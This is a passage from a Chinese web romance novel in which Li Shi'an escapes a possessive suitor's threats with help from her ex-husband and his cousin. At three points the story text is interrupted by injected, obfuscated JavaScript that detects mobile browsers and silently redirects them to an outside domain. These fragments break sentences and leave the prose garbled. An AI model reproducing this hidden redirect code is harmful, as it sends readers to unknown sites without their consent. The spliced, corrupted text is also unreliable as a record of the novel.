“先换鞋,然后……”李十安有些慌乱,“喏,卫生间在那边。” 况允驰换了鞋,按照李十安的指引,去了卫生间。 李十安又跟着去了卫生间,继续叮嘱,“洗发水沐浴露在壁龛里,那个……左边是洗发水,右边是沐浴露,上面都贴着中文标签……” 不然呢,还能贴英文不成。李十安稍有些懊悔,怎么竟说一些白痴话。 她往上看了看,立即转移话题,“可以用这块蓝色的毛巾,拆开后就没用过,标签都还在,是干净的。因为这是次卫,几乎没人用。” 况允驰应允,“嗯。” 李十安不方便多待,嘱咐完后立即退出了卫生间,顺带关上门。 听见了衣料之间的摩挲声,花洒喷射出的柔和水流声。 李十安在门外徘徊。半举着手,想要敲门,问问况允驰还需要什么帮助,可转念又意识到这样未免太冒失。 正举棋不定之时,靳瑞打来了电话。 是一通质问的电话。 “你还跟况允驰在一起?” 李十安有些烦闷,“我和谁在一起,跟你有什么关系?” “那就是还在一起。”靳瑞嘲讽,“他可真够粘人的。” 李十安压抑怒气,“你打电话来,就为了说这些?没事我挂了。” 靳瑞语气变为冷静,“十安,今晚你不应该当着这么多人的面,丢下我去找他。” “什么叫丢下你?我只是作为一个普通客人离场而已,这有什么不对?” “你知道你不是普通客人。” “我觉得我挺普通的。” 两个人的交谈,没几句就能变成赌气。双方沉默了一阵。 靳瑞再次冷静开口,“十安,你明白我对你的心意。你不应该这样任性胡闹,不应该不和我商量就独自做决定。” 李十安听得耳朵起茧。 你不应该……你不应该……你不应该…… 在靳瑞眼中,李十安不应该这样做,也不应该那样做。她就不应该存在于这个世界上。 李十安忍不住回怼,“我该不该做什么事情,是我的自由,而不是你说了算。你凭什么管我?” 最讨厌的事情就是被人管。难不成要让靳瑞管她一辈子?那还要不要她活? 李十安实在没心思和靳瑞继续纠缠,索性挂断电话。 靳瑞再打电话来的时候,李十安按了拒接,并把他拉黑。 长叹一声。 世界终于清净了不少。 李十安缓了缓。她忽然想起什么,回一趟衣帽间,取出一件衣物,折返回来。正巧碰到况允驰走出卫生间。 他竟……裸着上半身。 他们面对面,只隔了半米不到的距离。 马鞭草的清香味弥漫四周。 浴室里的热气奔腾而来,裹挟着李十安。 况允驰的体温似乎要高半度,热得李十安脸颊和耳廓都变红了。 额前几缕湿发。一滴水珠从况允驰胸膛滑到腹肌,留下清晰的痕迹。轻微的呼吸。喉结凸起,滚动。 他低头看着她。极具侵略性的眼神。 她不敢仰头看他,也只能低头。 况允驰穿着黑色宽松短卫裤,裤腰勒在人鱼线中间,害李十安顺着看到了不该看到的形状。 她立即撇开脸,后退半步。 “这个……”李十安递过找来的棕色宽松T恤,“上次我们离婚……我收拾行李的时候,不小心收走了你的一件短袖。本来说要还给你的,后来一直忘了。现在刚好派上用场。” 李十安说话的时候,眼睛不看况允驰,只看着墙面。 况允驰接过T恤,“谢谢。” 抖动,摩挲,她没敢看他,但能感受到他伸展臂膀的姿势。 过了几秒,况允驰提醒道,“穿好了。” 李十安松口气,转过头。 况允驰手里拿着拧干的衣服,解释道,“血渍太多,我顺便洗了下。” “喔……好。”李十安脑海里思索着,“我给你拿到烘干机里烘干吧。” 李十安要拿衣服,况允驰没让她拿。 他跟着李十安走去洗衣房。 况允驰把衣服放进烘干机里,关上盖。李十安把手机搁在烘干机上,弯腰调整烘干模式。配合默契。 操作完成,李十安直起腰,“可以了。” 手机忽然亮起来,显示靳瑞发来的微信。李十安根本没正眼看,直接摁灭了屏幕。 况允驰瞄见了屏幕上靳瑞的名字。他略带歉意,“抱歉,打扰你参加派对。” 李十安摆手,“也不是什么好玩的派对。” 都是一群静心打扮的人,在一个精心布置的场所里,假装松弛地社交。可社交内容离不开生意,丝毫不见一点朋友间的惬意融合。 “而且,吃的也不好吃。”李十安形容,“比如那个烧烤,是炸熟之后再拿到烧烤架上随便烤几下,做个样子。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804350|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炭火烧烤,却不是真正用炭火烤熟的,炭火成为了装饰。 李十安评价,“没有你烤的好吃。” 况允驰笑了下,“现在给你烤?” 李十安笑道,“不用这么突然。” 她反应了一阵,问道,“你是不是饿了?” 况允驰乖顺地点头。 李十安指着餐厅,“冰箱里应该还有些吃的,我去看看。” 他们去了餐餐边柜前,打开冰箱。 李十安所谓吃的,除了一堆雪糕、两瓶酸奶、半个西瓜、半碗没吃完的麻辣烫外,还剩几根香菜茼蒿,以及鸡蛋和速冻抄手。 她有些不好意思,“要不叫外卖?” 况允驰问道,“你吃抄手吗?我煮给你吃。” “……嗯。” 况允驰煮抄手,兑佐料,手法娴熟。李十安在一旁想打下手,却找不到下手的地方,只好干站着等待。 花费一些时间,况允驰煮好了两碗麻油抄手。 他们一人一碗,面对面坐下。汤碗里的食物色泽靓丽,气味诱人。 李十安迫不及待尝一口,太烫,只咬了半边抄手。半边也足够令人回味。 “特别入味。”李十安称赞,“麻得也刚好合适。” 况允驰应道,“喜欢就好。” 他的应答听来并无问题,只是他的态度,似乎隐约间有些许的敷衍。 也在吃抄手,但况允驰吃得心不在焉,咬一口嚼几下,就会顺势看一眼腕上的黑色运动手表。 重复循环好几次。 他是在赶时间吗?是有其他事要忙?还是他觉得在她家待太久了,不想再继续待下去?不想和她继续待下去? 李十安表情没有太大的变化,但心里浮出些失落来,原本明朗的心情敷上了一层朦胧的灰色的纱。 她识趣地不再说话搭腔了,只顾着吃抄手,快点吃完。 吃到一半的时候,况允驰又一次抬手腕看时间,紧紧盯着仪表盘。 等了大约五秒,况允驰抬起头,对李十安轻声道,“十安,端午安康。” 李十安反应了一瞬,扯过况允驰的手腕,确认仪表盘上时间。 零点过六秒。 原来他看手表,是为了等零点? 吓她一跳。 李十安笑道,“端午也要跨零点?” 况允驰轻声应允,“嗯。” “你真的……”李十安没好意思说出口,她觉得他真的怪可爱。 他们吃过抄手,收拾餐桌,把碗筷放进洗碗机,整理好一切。 时间已经太晚了,况允驰耽搁得太久。 “我该走了,你也早点休息。”况允驰说道,“谢谢你的收留。” 这话说得,李十安感觉她像是在大街上捡了一个流浪的况允驰。 她问,“你回南汀?” “嗯。” “我一直以为你住蔚蓝湖。”李十安问,“你怎么还住南汀?怎么没搬过去?” 况允驰低声道,“舍不得搬。” 隐约间似乎听懂了况允驰话里的意思,李十安的心跳加快了些。 烘干机恰好响起结束的声音,他们才想起那里头还有一件衣服。 李十安说道,“我去给你拿来。” 正要走,况允驰叫住了她。 “十安,”况允驰缓了缓,“要不下次再拿吧。” 李十安神情恍惚,“……好。” 下次。 起码他们之间还有下次。 况允驰换好鞋,走出门,和李十安告别。 李十安拿出主人送客的姿态,一直目送况允驰走进电梯,才礼貌地关上门。 表面云淡风轻。 李十安悄悄去了落地窗边,躲在白纱窗帘后,偷偷朝楼下看去。 十楼,能够清晰地看清中庭内来往的人群。 她看见了他的背影。耀眼的硬朗的背影。 他也有所察觉,停下脚步,回过头,往上望。几乎就要视线相撞。 她心虚地快速躲起来。 间隔三秒,李十安收到了况允驰发来的微信。 [早点休息,晚安。] 李十安抿嘴笑着,在对话框里郑重地输入回复。 [嗯,晚安。] 54. 航班 按照工作安排,李十安需要去一趟东京,参加为期一周的生物科技国际会议。 计划的是打车去机场,免得把车放机场车库里停一个礼拜,耗费成百上千的停车费。 拖着行李箱下楼,走到小区外,站在路边正准备打车。 靳瑞开着车赶来,停留在李十安面前。 怎么又知道她的行踪。彭寒不是已经从景和检验辞职了吗?靳瑞的眼线不是已经撤掉了吗? 靳瑞下车,“十安,我送你去机场。” 他伸手想去接李十安的行李箱,李十安反应敏捷,后退一步。 “不用,”李十安拒绝,“我打车就行。” “跟我还这么客气?”靳瑞表面文质彬彬,实际行动暗暗有力。 李十安拉扯行李箱杆,“不用,真的不用。” 靳瑞不容分说拽过行李箱,利落地搬到后备箱。他给李十安开车门,“十安,上车吧。” 李十安一脸懵懂。她看了眼时间。再和靳瑞纠缠,不知到底要耽搁到什么时候,都快误了航班了。 航班要紧。 于是李十安上了车。 一路上,靳瑞没话找话聊。 昨晚睡得好吗?今天是几点起床的?清酒庄园开业,有时间我带你去逛逛。东京那边我安排了人来接你。有什么记得给我打电话,我的电话永远为你保持畅通。 李十安的回复敷衍了事。 还好。都还好。不去逛了,没兴趣。不用,公司有人接。 靳瑞不在乎李十安的敷衍,仍旧喋喋不休。 最初时候,李十安讲礼貌,回应几句。后来没了耐心,索性不回应了,塞上耳机独自听歌。 车内逐渐变得沉默。 行驶进入高速,往机场开去。 可才开到半途,竟然发生了意料之外的事情。 车爆胎了。 车身晃动了几下,左右摇摆。李十安吓得抓紧安全带。靳瑞努力掌控方向盘。 幸好车速不算快,跌跌撞撞挪到应急车道后,车终于安全停稳。 他们下了车。 靳瑞打了一通保险电话,和那头的接话员沟通交谈,扯了好一阵。李十安等了半晌,仍不见靳瑞结束通话。 离航班时间越来越近,李十安焦急难安,兀自去后备箱取出行李箱,拿出手机准备打车。 早就说过她自己打车的,哪里会遭受这种折腾。 李十安点击了呼叫订单。不过想也明白,高速路上,怎么可能打得到车。 越想越烦躁。 那边靳瑞终于打完了电话。他赶过来,安慰李十安,“保险公司的人马上来。” 李十安反问,“来拖车吗?” 意思很明显。她现在的当务之急,不是陪靳瑞拖车修车,而是去机场赶航班。 靳瑞听出了李十安的话中之意,“我派了小马来送你,他已经从公司出发了。” 李十安暗自估量,从公司出发赶到这里,就算开得再快,保守估计也得花一个半小时。一个半小时,载上她赶去机场,两个小时。 飞机都飞到半空了。 现在不想与靳瑞发生争执,惹一身更多的麻烦,李十安只好忍着不搭腔。 忍到濒临极限,胸口闷得慌,李十安下意识侧过身,私下给况允驰发一条求救信息:[我被困在高速了,你能来接我吗?] 况允驰立即回复:[地址发给我。] 李十安给况允驰发去了地址。 其实没抱希望的。 从况允驰家到这里,需要一个小时。从况允驰公司到这里,同样也需要一个小时。这还是在况允驰能立即走开的情况下,最优良的估计。 李十安从急躁的焦虑陷入了平静的绝望。 怎么算也是赶不上飞机的命。 或许从遇见靳瑞的那一刻开始就是倒霉的开端,会这样一直延续下去吧。 收好手机,李十安双手紧握行李箱拉杆,双眼呆滞无神。 过了大约二十分钟,一辆眼熟的黑武士C63疾驰而来,驶入应急车道,精准停靠在他们身前。 是况允驰。 他走下车。 李十安不甚欣喜,小跑了两步,去到况允驰身边,“怎么这么快?” “正好在附近办事。” 他们小声交谈,隔得近,有种在说悄悄话的亲密感。 靳瑞脸色不大好看,沉声道,“十安,过来。” 李十安后退,往况允驰身后躲了一些。 况允驰侧头,小声叮嘱,“先上车。” 李十安没有再看靳瑞一眼,转身坐进了况允驰的车。 况允驰留在原地。 两个男人,无声对峙了几秒。 随后,况允驰上前,拖过李十安的行李箱。靳瑞克制着情绪。 况允驰将行李箱放进后备箱,又从后备箱中拿出一个三角警示牌,摆置到靳瑞的车后大约一百五十米远的位置。 整个过程,他们没有交谈一个字。 况允驰回到车上,透过后视镜看一眼靳瑞沉默的身影,毫无犹豫地启动。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809314|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他带她走了。 和况允驰在一起,李十安的心情要放松许多。 特别想向况允驰从头讲起,说说她今天有多么倒霉,碰上了一连串莫名其妙的事情,搞得头大。 然而她还未能说出一个字,靳瑞那边再次发来了消息。 况允驰无意间瞄见了,是两条消息。 [李十安,我对你还是太温柔了。] [我想要的东西,从来没有得不到的。] 李十安一阵烦闷,甚至有一些隐约的恐惧。她在屏幕上操作,在好友列表中删除了靳瑞。 一直以为靳瑞是过于喜欢她,才怎样都不肯放手。现在才明白,她对于靳瑞而言,是一件势在必得的物品。 得不到,就是在挑战他的权威。 他不允许这样的事情发生。 她早该明白这点的。 *** 李十安顺利到达东京,开启短暂的出差旅途。 她的行程安排得很简单,白天去会场,晚上回酒店,其他的地方哪里也不去。 因为害怕,总感觉有人在监视她。 靳瑞被拉黑之后,会换着手机号给李十安发短信。 [你逃不掉的。] [你该回到属于你的地方。] [十安,乖乖回来。] 李十安心里发怵,神情恍惚,心神不宁。 晚上睡觉,李十安仔细检查门窗,门锁重复锁好几道,反复检查好几次,仍旧不能心安。 入眠困难,闭上眼睛就会恐惧,只能在半睁半闭间徘徊。 好不容易睡着,半夜却忽然听到有人敲门。李十安猛地睁开眼睛,心跳加速。她半坐在床上,不敢轻举妄动,侧耳细听门外的动静。 再细微的动静也叫人头皮发麻。 听到了门外有吵闹声,交谈声,脏话连篇。 李十安拽紧被单,小心翼翼挪下床,踮脚去到门边。 门外的吵闹声逐渐变小,听两人的脚步估计是走远了。 难道是走错了?应该是走错了吧。 李十安不敢松懈,靠在门边多待了一阵,心跳依旧很快。 她拿出手机,下意识想给况允驰发消息。 已经点开了对话框,可转念间,正在打字的拇指停留在半空。 算了。也不能一遇到事情就去麻烦况允驰。他会嫌弃她的。 李十安删掉了文字。 没事的,熬过这几天就好了。李十安安慰自己。提高警惕,万事小心,一切都会好起来的。 55. 树莓 尽管提心吊胆,但李十安好歹平安度过了这个礼拜。 她预订的机票是从东京回青山。 临行的前一天,李十安考虑良久,总担心她的行程会被靳瑞监控。 靳瑞知道李十安的会议具体时间表,东京到青山一天就只有那么一趟航班,想要推测出李十安的行程并不是难事,何况他在公司内部还有眼线。 虽然这几天,靳瑞没怎么给李十安发消息了,但李十安还是不能掉以轻心。 所以她临时改变了行程,从东京飞北京,再从北京改坐高铁回青山。 折腾是折腾了好些,但能够躲开靳瑞,也能求个心安。 李十安拜托许书妍来高铁站接她。 许书妍起初答应了李十安,临到站时却临时有事耽搁。 “我开会,走不掉。”许书妍告诉李十安,“我派了个司机来接你。” 李十安摸不着头脑,推着行李箱走到高铁站外,左右张望。 那辆熟悉的黑武士C63精准停留在李十安面前。 况允驰。 原来许书妍派的人,是况允驰。 况允驰透过车窗问道,“打车吗?” 李十安弯腰,“到景和园区多少钱?” 况允驰随口应答,“一千。” “那行。”李十安指着车后方,“麻烦您帮忙放一下行李箱。” 况允驰下了车,绕到车后,替李十安搬运行李箱。 他问她,“一千块钱你也打?” 李十安耸肩笑道,“反正我有的是钱。” 她坐上了车。 况允驰按照李十安的行程安排,把李十安送回公司。 *** 兴许是终于不再过提醒吊胆的日子,能够得到放松,出差这些天没睡好的觉,这一下全部袭来。 李十安困得不行,靠在座椅靠背上。 本来想坚持一下保持清醒的,却实在坚持不住,不知不觉间睡着了。 好像睡了很久。 醒来时,车停了,停在地下车库。应该是公司楼下的地下车库。 李十安仍在座位上,身上盖了条灰色毯子。 况允驰站在不远处一根立柱的旁边,玩手机消磨时间。 揉了下眼睛,李十安解开安全带,打开车门。 开车门的声音传到况允驰耳边。看到李十安下车,况允驰走了过来。 “你怎么不叫我?”李十安问,“你等了很久?” “不久。”况允驰说道,“回家吧,别加班了。” 李十安笑道,“我也想,但是不行。” 因为按照小林总的安排,出差参加的会议内容得及时整理出来,赶在明天上午上班时汇报。总不能让公司这么些高层,等李十安一个人。 “我等你。”况允驰提议。 “不了——我还不至于加班都要人等。”李十安催促况允驰离开,“我得看着你走。” 不是不了解况允驰。不看着他走,他肯定就不走了。 *** 和况允驰分别后,李十安在工位上耽搁了好些时候,整理会议资料。 把一切整理完,已是晚上十一点。 办公室里只剩下她一个人。 伸懒腰,活动筋骨。蓝白色的电脑屏幕亮光映衬着李十安的脸颊。 门外忽然想起了一阵窸窣声音,意料之外。李十安心惊,双臂僵硬,甚至不敢呼吸。 又是那个噩梦吗? 李十安聚精会神,努力听清窸窣响动的由来。 那声音断断续续,总感觉被一层纱蒙住,听不清晰。 李十安谨慎地起身,拿起抽屉里的一把美工剪刀,小心翼翼地慢慢向门边挪动。 灯光不算太亮,出其不意地闪动一下,李十安险些惊叫出声。 她的手有些颤抖。 离门边还有两米距离。 李十安攥紧剪刀把手,额前渗出汗珠。 门框外,忽然之间冒出了半个脑袋。 “十安——” 李十安吓得尖声惊叫,后退一步。 谷梁这才意识到玩过头了,急忙上前安慰,“别怕别怕,是我,三表姐。” 李十安才终于看清眼前的人。谷梁。 “三表姐……”李十安惊魂未定,说话声音颤抖,“你怎么来了?” 谷梁笑道,“我来看你呀。” 有备而来,谷梁甚至准备了一束桔梗花,送给李十安,“喏,见面礼。” 李十安在惊吓的余味中,迷糊不解,“这……为什么给我……” 谷梁没解释,拿出手机,拉住李十安往身边凑来,紧挨着拍下一张自拍。 她们亲密得甚至脸颊贴着脸颊。 李十安的脸颊被这突如其来的亲密举动烫得微微发红。 谷梁随后低头玩弄手机,一边嘱咐李十安,“收拾东西,我送你回家。” “啊?”李十安礼貌道,“不用的,我打车很方便的。” 谷梁用不容置疑的口吻命令,“必须送,这可是允驰安排的任务。” 李十安愣了下。 谷梁收好手机,派人来打点好李十安的行李,再热情拉着李十安一道下楼。 她送她回家。她们并排坐在轿跑后排。 谷梁业务繁忙,上车后不久,不是在接打电话,就是在开短暂的视频会议。 李十安还处在迷糊状态。她不便打扰谷梁,只好拿出手机来,随意翻动。 看到了谷梁二十分钟前发送的朋友圈。是她们脸贴脸的合照,配上一段文字。 [我最爱的十安妹妹,今晚拐回家。] 李十安本就一头雾水,这下更是变得惊讶。 没记错的话,虽然她平时跟着况允驰叫谷梁三表姐,可真论起来,她和谷梁好像没有那么亲昵吧? 她好像从没出现在谷梁的朋友圈里。 她什么时候成了她的最爱? *** 李十安一直没想明白谷梁的动机。 再一次见到谷梁,是在凡希集团总部。 回家路上李十安会路过凡希集团总部,谷梁于是托她帮忙,让她从他们小林总那里取一件T恤,送到凡希集团谷梁的办公室里。 一路很顺利。李十安到达凡希集团,进入大堂,坐进电梯,到达二十三楼。 以为只是单纯来送T恤的,李十安没想到会在走廊上碰见靳瑞。 心里发怵。 她现在看见他,就像看见一个嫌疑人。 怎么办? 他们正面对面走着,越来越近。 李十安下意识想要逃避。 她已经删掉了靳瑞的所有联系方式,切断了一切可能靠近的间隙。所以这一次,要不也把他当作陌生人好了? 假装没看见,假装他是空气。 李十安若无其事地目视前方。 却没想到,靳瑞轻声叫住了她,“十安。” 李十安心惊,以为靳瑞又会做出什么出乎意料的恐怖举动。 靳瑞却只是微笑颔首,简单地向李十安打声招呼而已。 他的样子……看起来……是单纯地把她当作了普通朋友。 不是前几天还像变态一样威胁她吗?怎么转眼之间,变得这么礼貌客气了?难不成有什么阴谋? 不过还是要保持体面,李十安向靳瑞简单招呼回应。 他们带着距离感,擦肩而过。 李十安实在好奇,忍不住悄悄回头。 靳瑞在电梯口与一个女子汇合。那女人身材纤瘦,眉眼浓郁,长相标致美艳。女人自然地靠近靳瑞,靳瑞熟练地拉着她的手,十指紧扣。 如此亲密,是一对情侣没错了,而且是一对大张旗鼓官宣的情侣。 李十安的第一反应,竟是长舒一口气。 虽然还没弄明白到底发生了什么,但只要他不再纠缠她,那就已经足够。 她继续往前走,走进了谷梁的办公室。 谷梁正在擦口红,见到李十安,招呼道,“十安,沙发旁给你准备了水果和咖啡。” “这么丰盛?”李十安应道,“谢谢三表姐。” “跟我还客气什么。”谷梁用化妆棉擦嘴唇,把红唇擦得所剩无几,再涂上唇膏。 她抿了两下嘴唇,“对了十安,靳瑞没有再打扰你吧?” 李十安没想到谷梁会问起靳瑞的事,一瞬间没能反应过来,机械地顺着谷梁的话回答,“没……这段时间完全没有联系。” 谷梁欣慰,“那就好,算他识相。” 取下钻石耳环,谷梁走到李十安身边,拿T恤,准备去卧室换衣服。 站在李十安身旁时,谷梁故作埋怨,“十安你也是,遇到困难想要我出手的,直接找我就行,何必让允驰在中间绕一圈?跟我还这么见外。” 李十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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准备去参加慈善晚宴,谷梁往日的张扬打扮不可取,得符合场景地低调些。 李十安走近看了看,挑选淡水珍珠,“这个吧,这个简约些。” “行,听你的。你给我戴?” 谷梁说话带一点娇嗔。李十安顺从地走到谷梁身边,替谷梁带耳环。 透过化妆镜,谷梁看见李十安虽然手上动作轻柔熟练,脸上神情却是明显的心不在焉。 她问,“你在想靳瑞的事?想什么?” 李十安透过化妆镜和谷梁对视,随即垂下眼睑,“我只是觉得,这其实是我自己的事。” 谷梁开玩笑,“你在怪我吗?背着你偷偷把问题解决了。” 李十安怕被谷梁误会,急忙解释,“我不是这个意思,我是想说,这本来是我惹出来的是非,结果反倒给大家添了那么大的麻烦。” 谷梁笑道,“麻烦什么?都是一家人。靳瑞惹你,就等于是惹我。” 就是在这一瞬间,李十安忽然明白了那天谷梁那条朋友圈的含义。 是发给靳瑞看的。谷梁是明确告诉靳瑞,李十安身后还有她谷梁在。 “十安放心,靳瑞往后不敢拿你怎么样。”谷梁安慰李十安,“他再动你一下,就不是动股份那样简单。” 她轻笑,“小门小户,还敢跟我叫板。” 最后再照一眼化妆镜,谷梁确认妆容得体舒适,换上平底鞋,准备出发。 “我给你叫了份树莓蛋糕,就快到了。”谷梁笑着捏了捏李十安的脸颊,“特好吃,你等着带回家吃,知道没?” 因为时间快要来不及,谷梁和李十安简单告别后,匆匆离开办公室。 李十安由于这一下接收了太多的信息量,不太能反应过来,迷迷糊糊坐回沙发上,缓了缓。 拿出手机,犹豫再三,李十安拨通了况允驰的电话。 电话那头很快接通。 “十安。” 况允驰的低沉的声音。李十安不知怎么,眼底忽然变得湿润模糊。 她克制情绪,悄悄深呼吸,再轻声开口。 “况……谢谢。” 况允驰一时没听懂,“嗯?” 李十安笑了下,轻声细语,却又无比珍重。 “谢谢你为我做的一切。” 56. 酸奶 李十安想约况允驰吃饭。 本来况允驰从意大利回国,李十安就说过要给他接风。现在加上这一次要表示感谢,两顿饭凑一起,吃一顿超级好吃的。 编辑好信息,发送。李十安是中午一点给况允驰发的约饭信息,况允驰一直到下午六点才给出回复。 [抱歉,可能最近都没时间。] 李十安详细问清楚:[在忙?] 况允驰:[嗯,在青大做一个胰岛素项目。] 李十安:[要做多久?] 况允驰:[不确定。] 李十安:[中途不能出来吗?] 况允驰:[嗯,被关起来了。(委屈)] 这个表情怪可爱。 看着这条信息,李十安光注意表情可爱去了,至于况允驰说的被关起来,李十安还以为只是一种打趣的说法。 直到后来才发现,况允驰说的原来是正经事。 况允驰和李十安如果要连续发消息聊天,几乎都是在晚饭点才能实现,并且最多不超过十分钟,随后因为项目忙,况允驰又匆匆消失。 更常见的情况,是况允驰和李十安之间,好像存在时差那般。 李十安上午给况允驰发消息:[今天也忙吗?] 况允驰下午才回复:[嗯,一直待在实验室。] 李十安傍晚发消息:[吃盒饭还是吃食堂?] 况允驰没有回复。 李十安晚上睡前发消息:[晚安。] 况允驰凌晨三点回复:[我这边才结束。晚安。] 看着凌晨三点这个时间点,李十安都替况允驰慎得慌,这团队的人是都不睡觉的吗。 忙成这个样子,况允驰不能及时回微信的话,李十安也能理解。 不过理解归理解,心里总是会克制不住地充满期待,失落,再充满期待。 这天,已经上班两个小时了,李十安仍然保持着相同的状态,工作一会儿,打开手机看看消息。 没有消息。 继续工作一会儿,再打开手机看看消息。 仍旧是没有消息。 去茶水间泡茉莉花茶,接水的空隙点亮手机屏幕。 没有消息。 端着茶杯走回工位,再看一眼手机。 没有消息。 刚坐下,还没来得及喝一口花茶,提示音忽然响起。是况允驰,发了一句问候。 [早安。] 李十安盯着手机笑了起来。 许书妍恰巧路过,看见李十安在对着手机傻笑,随口问了一句,“中彩票了?” “没有——”李十安将手机倒扣在桌面上,把消息藏起来,抿着嘴,嘴角有压不住的笑意。 许书妍好奇,仔细打量李十安,“那你怎么笑得这么开心?” 李十安故作严肃,“没怎么。” 没怎么。只不过是他给她发了一句,早安。 *** 为了将就况允驰的作息时间,李十安选择找机会去青山大学,好歹能见况允驰一面。 她到得早,况允驰还没出实验室,也没机会看手机消息。 走在校园里,李十安不大自在,怕遇见她的导师或是其他认识的老师,怪尴尬。 特意找了红砖楼外桦树林里,隐秘的一张石桌旁,坐着耐心等待。 有时候只等半个小时,有时候会等接近一个小时。一直等到况允驰急匆匆从楼里跑出来。 况允驰轻微喘气,“等很久了吗?” “刚到,刚走到这里。” 李十安拿出准备好的榴莲、山竹、车厘子、蓝莓,洗净装盒,精致整齐,“想约你吃饭表示感谢,却都没机会约上。先吃点餐前水果,表达心意。” 况允驰接过四盒水果,又要分享两盒给李十安。 李十安拒绝,“分给我干嘛?分给你组里的同事。” 况允驰低声回答,“舍不得分。” 李十安笑道,“小孩子气。” 他们在校园里漫步。 黄桷兰的花香弥漫空气,清风吹拂,阳光温柔。 可惜的是,这样的温柔时光不超过十分钟。 况允驰的手机响个不停。组里打来的电话,催他回去。 起初没接,况允驰没在意,反倒是李十安在一旁先着急了。 她催促他,“快回去吧,我也有事要先走。” “我送你。” “不用。”李十安笑着,推了一把况允驰,再潇洒挥手。 况允驰于是走了。 李十安待在原地,又等待了十几分钟。也不知道在等待什么。 树叶飘落。李十安踩着落叶,独自离开。 从时间成本上来算,挺不划算的。等待一个小时,就为了见十分钟。不过李十安并不在意。 找到机会的时候,就总往青山大学跑。 有一次是正好在附近找小林总签字。办完事后,心血来潮,临时起意,李十安走进了校园里,想着看看有没有缘分,偶遇况允驰。 路过篮球场,只一眼就看见了熟悉的身影。 况允驰正躬身运球,山姆高德过人,起跳,反手灌篮。灵活的进攻。 穿的是深灰色宽松短T,戴着黑武士色运动手表,是少年的模样。 场边有人叫了一声,“允驰,走!” 况允驰让了篮球,准备离场。走到场边,意外看见了李十安。 “怎么来了?”况允驰向李十安跨了两步,“什么时候到的?” 那边那人又在催促,“允驰,快!” “好。”况允驰向李十安解释,“本来要开汇报会的,书记上场会耽误了二十分钟,现在应该到了。” “那你快去。”李十安开玩笑,“别等书记到了,你还没到。” 况允驰起身要走,顿了下,说道,“等这阵忙完就来找你。” 李十安点头,“嗯。” *** 李十安记着况允驰说要来找她的话,结果况允驰一直没来。 等了好些日子,况允驰应该还没忙完。 私下里打听过,况允驰参与的是个今年的重点产业项目之一,定了指标,省厅那边一直给压力。 所以这个时候不去打扰他,或许才是最好的选择。 李十安是这样想的。 直到三天后,许书妍给李十安发消息,李十安才知道,原来况允驰有事瞒着她。 *** 许书妍去附属医院看望小姨,拎着一袋水果挨着找病房。偶然路过23号病床,看到躺在床上的人实在眼熟。她站在病房门口,定睛细看。 确实是况允驰。 许书妍的第一反应,是要进门去看望看望。 刚一抬脚,许书妍想起手里拎着的一份水果,是给小姨准备的。就这么进去,岂不是多少显得尴尬? 再说,况允驰住院,李十安按理是会说一声的吧。难道李十安不知情? 许书妍摸出手机,在况允驰未发觉的情况下,偷拍一张照片,传给李十安,问道:[前夫哥怎么了?] 李十安:[啊?他住院了吗?什么时候的事?] 许书妍:[看来你是真不知情。] 抬头望一眼,许书妍把详细的楼栋号房间号发送给李十安。 *** 李十安花了不到一个小时,到达病房外。她缓了缓,走进房间。 况允驰抬头看到李十安,感觉意料之外,笑了一下,“十安?” 李十安没有回复。径直走到床边,扫视一圈况允驰的情况。 况允驰左腿膝盖以下包裹石膏,行动不便,几乎是固定在床上。他的右腿上隔着一台笔记本,正在核对实验报告。 说不清是什么心情,难过,担心,以及生气。 “喂,况。”李十安声音冷淡,“住院这个词,很难说出口吗?” 连住院这种大事都不告诉她,简直是把她当作外人。 况允驰急忙解释,“小伤而已。” 都住院了还小伤,李十安生闷气不说话。 况允驰补充,“本来打算伤好后,马上来找你。” 李十安气鼓鼓,质问,“什么时候受的伤?” 况允驰回答,“上周五,你给我打电话的前一天晚上……本来我打算来找你。” “找我?” “嗯。” 况允驰打开床头柜抽屉,拿出一个白色的纸盒,盒子里装着一个陶瓷马克杯。“想把这个送给你。”况允驰解释,“我做的。” 青大有一个陶瓷社团,社团举办了一个陶瓷体验展,涵盖了陶瓷的种类、历史、制作过程、成品,丰富齐全。 偶然路过,况允驰觉得有趣,有意留心。 体验展的制作课程都是在白天,况允驰没时间参加。他拜托同组的青大同事帮忙,拿到了制作课程教室的钥匙。 他是在前一天晚上结束实验后,独自去的教室,靠自学制作了陶瓷杯。 按照计划,周五晚上能够拿到成品,周六早上,他就能将成品送给李十安。 李十安喜欢收集杯子,况允驰一直记得。 周五晚上,况允驰扫了一辆共享单车,按照同事给出的烧窑地址,骑行前去取陶瓷。 取的过程很顺利。 回程时候,兴许由于长时间加班,稍显疲惫,碰上夜晚光线不是那么明亮,再加上身旁开车的师傅技艺不成熟,速度加快,竟走了非机动车道。 